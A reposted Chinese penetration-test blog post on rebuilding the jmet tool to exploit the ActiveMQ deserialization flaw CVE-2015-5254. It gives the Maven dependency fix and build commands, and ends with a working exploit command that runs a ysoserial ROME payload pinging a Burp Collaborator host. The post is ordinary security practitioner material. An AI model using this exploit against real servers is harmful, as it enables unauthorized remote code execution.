重新编译jmet小记

在一次渗透测试过程中,发现内网有一些activemq版本很老(2010年前的),但是并没有/fileserver这个路径意味着没法用 CVE-2016-3088(猜测经过加固), 不过幸运的是/admin没有授权就能访问意味着有主动触发CVE-2015-5254的可能性,猜测这种偏门的java洞可能被加固人员忽略,所以抄起 jmet 试了一下。回显如下

重新编译jmet小记

看样子是失败了,经过一番谷歌过后看到github上有如下回答,猜测是因为activemq所依赖的包版本过老而jmet依赖的包比较新所以打不成功。

重新编译jmet小记
重新编译jmet小记

正如github上这个老外所说需要加入legacy。

<dependency>
        <groupId>org.apache.activemq</groupId>
        <artifactId>activemq-openwire-legacy</artifactId>
        <version>5.15.11</version>
</dependency>

既然问题问题出在依赖上就意味着要重新编译,踩了一些坑下面记录一下。

jmet可以攻击多种软件,有一些是商业的软件我们搞不到对应的jar,所以删除下面两个java。

rm -f src/main/java/de/codewhite/jmet/target/impl/WebSphereMQTarget.java
rm -f src/main/java/de/codewhite/jmet/target/impl/SwiftMQTarget.java

另外注意到jmet是依赖于ysoserial

重新编译jmet小记

并且我们后续也会用到,奈何没找到什么中央仓库提供这种黑客依赖。无奈需要自己到导入

mvn install:install-file -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.5-SNAPSHOT -Dpackaging=jar -Dfile=

编译

export MAVEN_OPTS=-Xss10m
mvn clean compile assembly:single

然后就可以快乐的一键getshell了。

proxychains java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping -n 1 wyyekrec31qzxtpc4kq636jbi2otci.burpcollaborator.net" -Yp ROME  ip port

原文 

http://redteam.today/2020/03/21/重新编译jmet小记/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 重新编译jmet小记

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址